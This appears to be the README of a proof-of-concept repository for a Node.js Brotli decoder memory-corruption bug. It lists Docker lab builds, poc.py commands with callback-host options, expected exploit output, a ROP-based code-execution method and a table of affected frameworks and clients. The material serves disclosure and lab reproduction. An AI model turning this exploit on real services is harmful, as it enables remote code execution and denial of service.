Disclaimer
Use this repository only with the included loopback labs or systems you are explicitly authorized to test. See AUTHORIZED_USE.md.
The malformed Brotli stream in this repository exercises an out-of-bounds
write in affected Node.js decoders. The highest reproduced impact is RCE
in three exact Linux x86-64 lab profiles. The Express 5.3.0 profile is a
network-only exploit: poc.py sends HTTP requests to an already-running lab
and receives fresh /usr/bin/id output on the exploited request socket. It
does not use a debugger, /proc, Docker, a target-side helper, a callback, or
a proof file.
This Express result is profile specific and probabilistic. It depends on the pinned Node.js v24.22.0 binary, body-parser 2.4.0, one libuv worker, accepted socket fd 19, the documented restart supervisor, and an ASLR address guess. It does not imply that every Express deployment is exploitable.
Node.js advisory became public on 21 October 2026. The linked results were recorded against the included local labs on 22–23 October 2026.
The Express profile passed on two fresh affected containers. The same request
failed closed on Node.js v24.22.1 with ERR__ERROR_FORMAT_BLOCK_SWITCH, and
the patched service remained healthy. Full evidence.
The recording types and runs the public poc.py against an already-running
loopback lab. VHS tape ·
MP4 ·
Raw terminal output
Build and start the exact Express lab. The --entrypoint command is part of
the tested profile: it keeps the container alive while the PoC uses the
network crash primitive to request a fresh ASLR layout after a missed guess.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-express -f lab/v24.22.0/express-body-parser/Dockerfile lab/v24.22.0/express-body-parser
docker run --platform linux/amd64 -d --name cve-111497-express --entrypoint sh -e UV_THREADPOOL_SIZE=1 -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-express -lc "while true; do node /app/server.js; sleep 0.1; done"
python poc.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 --timeout 30A successful run ends with output shaped like:
PASS: RCE verified by fresh id output through the declared interface
profile=node-24.22.0-express-5.3.0-bookworm-x86_64
proof_channel=HTTP request socket stdout
proof_command=id
proof_stdout=uid=1000(node) gid=1000(node) groups=1000(node)
The PoC tries at most 16 fresh supervised processes and exits nonzero unless
complete uid= and gid= output is observed. Stop the lab when finished:
docker rm -f cve-111497-expressEach lab subsection includes a live VHS v0.12.1 recording of its documented
poc.py command against an already-running container, plus the tape, MP4, and
raw terminal output from that take. Container setup is performed separately.
| Runtime | Lab | Status | Proof | Material limitations |
|---|---|---|---|---|
| Node.js v24.22.0 | Express 5.3.0 / body-parser 2.4.0 | RCE verified | Fresh id stdout on the HTTP socket, twice |
Exact binary, fd 19, one worker, restart supervisor, and probabilistic ASLR guess |
| Node.js v24.9.0 | Built-in fetch() worker |
RCE verified | Fresh token plus id stdout, twice |
Exact binary, glibc, worker, record, ICU, and allocator sequence; probabilistic placement |
| Node.js v24.9.0 | Direct worker record transform | RCE verified | Fresh token plus id stdout, twice |
Exact binary, glibc, libuv worker, record, ICU, and allocator sequence |
| Node.js v24.9.0 | Express 5.3.0 + built-in fetch() |
DoS verified | Two service crashes; process exit 139 | Plain Express URL-fetch route; no RCE observed |
| Node.js v20.19.5 | Stock asynchronous zlib | DoS verified | Service unavailable, twice | EOL release |
| Node.js v22.23.3 | Stock asynchronous zlib | DoS verified | Service unavailable, twice | Availability impact only |
| Node.js v24.9.0 | Stock asynchronous zlib | DoS verified | Service unavailable, twice | Availability impact only |
| Node.js v24.22.0 | Stock asynchronous zlib | DoS verified | Service unavailable, twice | Availability impact only |
| Node.js v26.12.0 | Stock asynchronous zlib | DoS verified | Service unavailable, twice | Availability impact only |
| Node.js v24.22.0 | Built-in fetch proxy | DoS verified | Service unavailable, twice | Consumes an attacker-controlled Brotli response |
| Node.js v24.22.0 | Undici 8.12.3 | DoS verified | Service unavailable, twice | Standalone Undici response consumption |
| Node.js v24.22.0 | Axios 1.20.0 | DoS verified | Service unavailable, twice | Automatic response decompression |
| Node.js v24.22.0 | node-fetch 3.3.2 | DoS verified | Service unavailable, twice | Encoded response body must be consumed |
| Node.js v24.22.0 | Got 16.1.0 | DoS verified | Service unavailable, twice | Uses decompress-response |
| Node.js v24.22.0 | SuperAgent 10.4.1 | DoS verified | Service unavailable, twice | Automatic response decompression |
| Node.js v24.22.0 | decompress-response 10.0.0 |
DoS verified | Service unavailable, twice | Wrapped response stream reaches Brotli |
| Node.js v24.22.0 | NestJS 12.2.0 | DoS verified | Service unavailable, twice | Default Express adapter and body-parser |
| Node.js v24.22.0 | Koa 3.2.1 / koa-bodyparser 4.4.1 | DoS verified | Service unavailable, twice | co-body/inflation request path |
| Node.js v24.22.0 | Next.js 16.4.2 fetch route | DoS verified | Service unavailable, twice | Server route fetches and consumes attacker content |
This minimal URL-fetch route uses ordinary Express request handling and
fetch() response consumption. The public PoC supplies an attacker-controlled
Brotli response over HTTP. Development runs observed a service crash, not
command execution; two fresh exact-profile instances reproduced the crash.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.9.0-express-fetch -f lab/v24.9.0/express-fetch/Dockerfile lab/v24.9.0/express-fetch
docker run --platform linux/amd64 -d --name cve-111497-express-fetch --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.9.0-express-fetch
python poc.py --profile node-24.9.0-express-fetch-5.3.0-bookworm-x86_64
docker rm -f cve-111497-express-fetchExpected: PASS: DoS verified through the declared network interface and
postcondition=service unavailable. The operator-side process exit is 139.
The PoC only talks to the published HTTP route and its own HTTP origin; it
does not call Docker or access the container filesystem.
VHS tape · MP4 · Raw terminal output
RCE verified: this exact worker-per-request fixture produced fresh id stdout
in two clean instances. Allocator placement remains probabilistic.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.9.0-worker-fetch-rce -f lab/v24.9.0/worker-fetch/Dockerfile lab/v24.9.0/worker-fetch
docker run --platform linux/amd64 -d --name cve-111497-worker-fetch-rce --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.9.0-worker-fetch-rce
python poc.py --profile node-24.9.0-worker-fetch-rce-bookworm-x86_64 --timeout 60 --callback-bind 0.0.0.0 --callback-host host.docker.internal
docker rm -f cve-111497-worker-fetch-rceExpected: fresh token plus proof_command=id and proof_stdout containing
both uid= and gid=.
VHS tape · MP4 · Raw terminal output
RCE verified: this exact asynchronous node:zlib fixture produced fresh id
stdout twice.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.9.0-worker-record-rce -f lab/v24.9.0/worker-record-transform/Dockerfile lab/v24.9.0/worker-record-transform
docker run --platform linux/amd64 -d --name cve-111497-worker-record-rce --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.9.0-worker-record-rce
python poc.py --profile node-24.9.0-worker-record-rce-bookworm-x86_64 --timeout 30 --callback-bind 0.0.0.0 --callback-host host.docker.internal
docker rm -f cve-111497-worker-record-rceExpected: fresh token plus proof_command=id and proof_stdout containing
both uid= and gid=.
VHS tape · MP4 · Raw terminal output
DoS verified: the pinned EOL runtime runs the asynchronous node:zlib fixture.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v20.19.5 -f lab/v20.19.5/stock-node/Dockerfile lab/v20.19.5/stock-node
docker run --platform linux/amd64 -d --name cve-111497-v20-stock -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v20.19.5
python poc.py --profile node-20.19.5-bookworm-x86_64
docker rm -f cve-111497-v20-stockExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: the pinned affected v22 runtime runs the asynchronous zlib fixture.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v22.23.3 -f lab/v22.23.3/stock-node/Dockerfile lab/v22.23.3/stock-node
docker run --platform linux/amd64 -d --name cve-111497-v22-stock -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v22.23.3
python poc.py --profile node-22.23.3-bookworm-x86_64
docker rm -f cve-111497-v22-stockExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: the pinned v24.9.0 runtime runs the stock zlib fixture.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.9.0 -f lab/v24.9.0/stock-node/Dockerfile lab/v24.9.0/stock-node
docker run --platform linux/amd64 -d --name cve-111497-v24-9-stock -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.9.0
python poc.py --profile node-24.9.0-bookworm-x86_64
docker rm -f cve-111497-v24-9-stockExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: the last affected v24 build runs the stock zlib fixture.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0 -f lab/v24.22.0/stock-node/Dockerfile lab/v24.22.0/stock-node
docker run --platform linux/amd64 -d --name cve-111497-v24-stock -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0
python poc.py --profile node-24.22.0-bookworm-x86_64
docker rm -f cve-111497-v24-stockExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: the last affected v26 build runs the stock zlib fixture.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v26.12.0 -f lab/v26.12.0/stock-node/Dockerfile lab/v26.12.0/stock-node
docker run --platform linux/amd64 -d --name cve-111497-v26-stock -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v26.12.0
python poc.py --profile node-26.12.0-bookworm-x86_64
docker rm -f cve-111497-v26-stockExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: the route consumes a Brotli response with Node's built-in client.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-fetch -f lab/v24.22.0/node-fetch-proxy/Dockerfile lab/v24.22.0/node-fetch-proxy
docker run --platform linux/amd64 -d --name cve-111497-fetch --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-fetch
python poc.py --profile node-24.22.0-fetch-bookworm-x86_64
docker rm -f cve-111497-fetchExpected: PASS: DoS verified through the declared network interface after
the application consumes the attacker-controlled response.
VHS tape · MP4 · Raw terminal output
DoS verified: standalone Undici consumes the encoded response body.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-undici -f lab/v24.22.0/undici-fetch/Dockerfile lab/v24.22.0/undici-fetch
docker run --platform linux/amd64 -d --name cve-111497-undici --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-undici
python poc.py --profile node-24.22.0-undici-8.12.3-bookworm-x86_64
docker rm -f cve-111497-undiciExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: Axios automatically decompresses the crafted Brotli response.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-axios-fetch -f lab/v24.22.0/axios-fetch/Dockerfile lab/v24.22.0/axios-fetch
docker run --platform linux/amd64 -d --name cve-111497-axios --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-axios-fetch
python poc.py --profile node-24.22.0-axios-1.20.0-bookworm-x86_64
docker rm -f cve-111497-axiosExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: node-fetch consumes the crafted encoded response body.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-node-fetch -f lab/v24.22.0/node-fetch/Dockerfile lab/v24.22.0/node-fetch
docker run --platform linux/amd64 -d --name cve-111497-node-fetch --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-node-fetch
python poc.py --profile node-24.22.0-node-fetch-3.3.2-bookworm-x86_64
docker rm -f cve-111497-node-fetchExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: Got reaches the Brotli decoder through decompress-response.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-got-fetch -f lab/v24.22.0/got-fetch/Dockerfile lab/v24.22.0/got-fetch
docker run --platform linux/amd64 -d --name cve-111497-got --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-got-fetch
python poc.py --profile node-24.22.0-got-16.1.0-bookworm-x86_64
docker rm -f cve-111497-gotExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: SuperAgent automatically decompresses the crafted response.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-superagent-fetch -f lab/v24.22.0/superagent-fetch/Dockerfile lab/v24.22.0/superagent-fetch
docker run --platform linux/amd64 -d --name cve-111497-superagent --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-superagent-fetch
python poc.py --profile node-24.22.0-superagent-10.4.1-bookworm-x86_64
docker rm -f cve-111497-superagentExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: the package consumes a Brotli-encoded HTTP response stream.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-decompress-response -f lab/v24.22.0/decompress-response/Dockerfile lab/v24.22.0/decompress-response
docker run --platform linux/amd64 -d --name cve-111497-decompress-response --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-decompress-response
python poc.py --profile node-24.22.0-decompress-response-10.0.0-bookworm-x86_64
docker rm -f cve-111497-decompress-responseExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
RCE verified in two fresh containers. The exploit sends a Brotli-encoded JSON
request, redirects the saved return address to an exact-binary ROP chain,
duplicates the accepted HTTP socket onto stdout, and executes /usr/bin/id.
After a missed ASLR guess it uses the same vulnerability's network crash
trigger; the documented supervisor then starts a fresh Node process.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-express -f lab/v24.22.0/express-body-parser/Dockerfile lab/v24.22.0/express-body-parser
docker run --platform linux/amd64 -d --name cve-111497-express --entrypoint sh -e UV_THREADPOOL_SIZE=1 -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-express -lc "while true; do node /app/server.js; sleep 0.1; done"
python poc.py --profile node-24.22.0-express-5.3.0-bookworm-x86_64 --timeout 30
docker rm -f cve-111497-expressExpected: PASS: RCE verified by fresh id output through the declared interface
and proof_stdout containing both uid= and gid=. A failed run exits
nonzero and does not prove that a different deployment is safe.
VHS tape · MP4 · Raw terminal output · Two fresh runs and patched control
DoS verified: the NestJS Express adapter reaches Brotli inflation.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-nestjs-body-parser -f lab/v24.22.0/nestjs-body-parser/Dockerfile lab/v24.22.0/nestjs-body-parser
docker run --platform linux/amd64 -d --name cve-111497-nestjs -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-nestjs-body-parser
python poc.py --profile node-24.22.0-nestjs-12.2.0-bookworm-x86_64
docker rm -f cve-111497-nestjsExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: koa-bodyparser inflates the crafted Brotli request body.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-koa-bodyparser -f lab/v24.22.0/koa-bodyparser/Dockerfile lab/v24.22.0/koa-bodyparser
docker run --platform linux/amd64 -d --name cve-111497-koa -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-koa-bodyparser
python poc.py --profile node-24.22.0-koa-3.2.1-koa-bodyparser-4.4.1-bookworm-x86_64
docker rm -f cve-111497-koaExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
DoS verified: the server route consumes the crafted Brotli response.
docker build --pull --platform linux/amd64 -t cve-2026-111497-lab:v24.22.0-next -f lab/v24.22.0/nextjs-fetch/Dockerfile lab/v24.22.0/nextjs-fetch
docker run --platform linux/amd64 -d --name cve-111497-next --add-host host.docker.internal:host-gateway -p 127.0.0.1:3000:3000 cve-2026-111497-lab:v24.22.0-next
python poc.py --profile node-24.22.0-next-16.4.2-bookworm-x86_64
docker rm -f cve-111497-nextExpected: PASS: DoS verified through the declared network interface.
VHS tape · MP4 · Raw terminal output
- Python 3.11 or newer;
poc.pyuses only the standard library. - Docker with Linux x86-64 support for the included pinned labs.
- Free local port
3000for the Express workflow; the two worker profiles also use local ports4000and4444. - The exact profile selected from
profiles.json; unknown profiles, alternate target ports, public targets, and caller-supplied commands are rejected. - Each RCE profile requires its pinned non-PIE Node.js binary, Debian
bookworm userspace, the Unix
idutility, and the exact application sequence listed in the profile. The two callback profiles additionally require Bash/dev/tcp. - RCE PASS requires attacker-visible
idstdout containing bothuid=andgid=. The callback profiles additionally require a fresh random token.
The three RCE results are exact-profile claims, not version-wide claims. The other affected rows prove repeatable denial of service only. A failed attempt does not prove safety, and a profile entry is not authorization to test another system.


















